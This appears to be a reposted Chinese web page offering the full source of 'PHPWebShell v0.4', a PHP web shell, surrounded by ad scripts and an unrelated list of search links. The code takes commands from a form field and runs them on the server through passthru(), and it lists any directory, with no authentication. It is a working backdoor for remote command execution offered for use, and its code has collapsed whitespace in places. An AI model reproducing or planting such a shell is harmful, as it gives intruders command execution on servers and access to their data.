PHPShell的编写(改进版)

来源:互联网 发布:增长的极限读后感知乎 编辑:程序博客网 时间:2024/04/28 20:02
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 728x15, 创建于 08-4-23MSDN */google_ad_slot = "3624277373";google_ad_width = 728;google_ad_height = 15;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 160x600, 创建于 08-4-23MSDN */google_ad_slot = "4367022601";google_ad_width = 160;google_ad_height = 600;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
.Irj553{display:none;}


程序介绍:

程序:PHPWebShell
版本:v0.4
功能:
1.可以支持目前主流的操作系统:Win32/*nix/*BSD
2.执行系统命令/程序
3.浏览目录


未来功能:
1.支持在线上传/下载文件功能
2.支持在线新建/删除/添加/修改文件功能

程序代码:

<html>
<head>
<title>PHPWebShellv0.4</title>
<!--定义文件样式-->
<style>
<!--
.input{BORDER-RIGHT:#8888881pxsolid;BORDER-TOP:#8888881pxsolid;BACKGROUND:#ffffff;BORDER-LEFT:#8888881pxsolid;BORDER-BOTTOM:#8888881pxsolid;FONT-FAMILY:"Verdana","Arial"font-color:#ffffff;FONT-SIZE:9pt;}
.font{FONT-SIZE:9pt;}
.fonts{FONT-SIZE:15pt;}
TABLE{FONT-SIZE:9pt;COLOR:#006666}
A{FONT-SIZE:9pt;COLOR:#6666cc;TEXT-DECORATION:none}
A:hover{FONT-SIZE:9pt;COLOR:#ff3333;TEXT-DECORATION:none}
BODY
{   SCROLLBAR-FACE-COLOR:#ffffff;
   SCROLLBAR-HIGHLIGHT-COLOR:#6c6c90;
   SCROLLBAR-SHADOW-COLOR:#fcfcfc;
   SCROLLBAR-3DLIGHT-COLOR:#fcfcfc;
    SCROLLBAR-ARROW-COLOR:#240024;
   SCROLLBAR-TRACK-COLOR:#fcfcfc;
   SCROLLBAR-DARKSHADOW-COLOR:#48486c;
   SCROLLBAR-BASE-COLOR:#fcfcfc
}
-->
</STYLE>
</head>

<bodybgcolor="#eeeeee"text="#000000">
<center><fontsize=3color=redclass=fonts><b>PHPWebShell</b></font>v0.4
<fontsize=2color="000000"class=font>适用系统:Win32/Linux/Unix/BSD</font>


<FORMMETHOD=POSTACTION="<?echo$PHP_SELF?>">//获取脚本本身
<fontclass=font>输入命令</font><INPUTTYPE="text"NAME="cmd"size=20class=input>
<INPUTTYPE="submit"value="执行"class=input>

<fontclass=font>输入目录</font><INPUTTYPE="text"NAME="dir"size=20class=input>
<INPUTTYPE="submit"value="浏览"class=input>
</FORM>
</center>
<pre>
<fontsize=2color="000000"class=font>
<?php
echo"服务器地址:<ahref=/"http://$_SERVER[SERVER_NAME]/">$_SERVER[SERVER_NAME]</a>
";//显示服务器域名或IP地址
echo"本文件路径:$_SERVER[PATH_TRANSLATED]"; //显示文件所在路径
?>


<?php
if(!empty($cmd)){
echo"执行<fontcolor=red>$cmd</font>命令后的结果:
";//执行命令后的提示
}
if(!empty($dir)){
echo"浏览目录<fontcolor=red>$dir</font>的结果:
";//查看目录后的提示
}
?>
<hrsize=1>
<?php
if(empty($cmd)&&empty($dir)){//判断有没有输入命令,如果没有则出现错误提示
   echo"请输入你要执行的命令或要浏览的目录!
(请确定系统有相应的命令或目录及相应操作的权限)
";
}
@passthru($cmd);//利用passthru()函数来执行获取的命令(变量),PHP中相似的函数还有system(),popen(),Exec()等
$f=@opendir($dir); //利用opendir()函数来获取目录信息赋值给变量
while($file=@readdir($f)){//使用readdir()函数循环读取目录信息
   echo"$file/n";//分行显示获取的目录信息
}
?>
</font>
</pre>

</body>
</html>

<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 728x15, 创建于 08-4-23MSDN */google_ad_slot = "3624277373";google_ad_width = 728;google_ad_height = 15;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 160x600, 创建于 08-4-23MSDN */google_ad_slot = "4367022601";google_ad_width = 160;google_ad_height = 600;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 小孩皮肤太黑了怎么办 苹果平板突然黑屏打不开怎么办 孩子认人晚上哭怎么办 主腹动脉有硬块怎么办 糖链抗原125偏高怎么办 狗长了个肿瘤怎么办 腺肌瘤糖类抗原125升高怎么办 糖类抗原724单项升高怎么办? 化疗期间糖类抗原升高怎么办? 门面租客到期不搬怎么办 这几天老想初恋怎么办 结婚了还想初恋怎么办 九年了想初恋了怎么办 吃肥肉恶心想吐怎么办 宝宝吃了母乳不吃奶粉怎么办 母猫的奶少怎么办 鲤鱼打挺起不来怎么办 练不会鲤鱼打挺怎么办 鲤鱼打挺脖子痛怎么办 新买的沙发太高怎么办 额最后离开公司没人关灯怎么办 看到我妹妹就烦怎么办 野塘钓鱼不开口怎么办 团关系找不到接收地怎么办 两岁宝宝就是不肯说话怎么办 两岁宝宝不肯吃药怎么办 并蹄莲叶子大黄怎么办 异地恋见面来大姨妈怎么办 奶水太多宝宝老是呛到怎么办 奶水太多吃奶婴儿呛怎么办 人家不愿意交我为朋友怎么办 面对诋毁我的人怎么办 做事太细致速度太慢怎么办 高一儿子早恋了怎么办 儿子18岁谈朋友怎么办 和朋友为钱吵架怎么办 感情里总担心失去怎么办 眼石移出盲僧怎么办 打仗把小便踢肿了怎么办 腿上都是挠的疤怎么办 脚上的肉烂了怎么办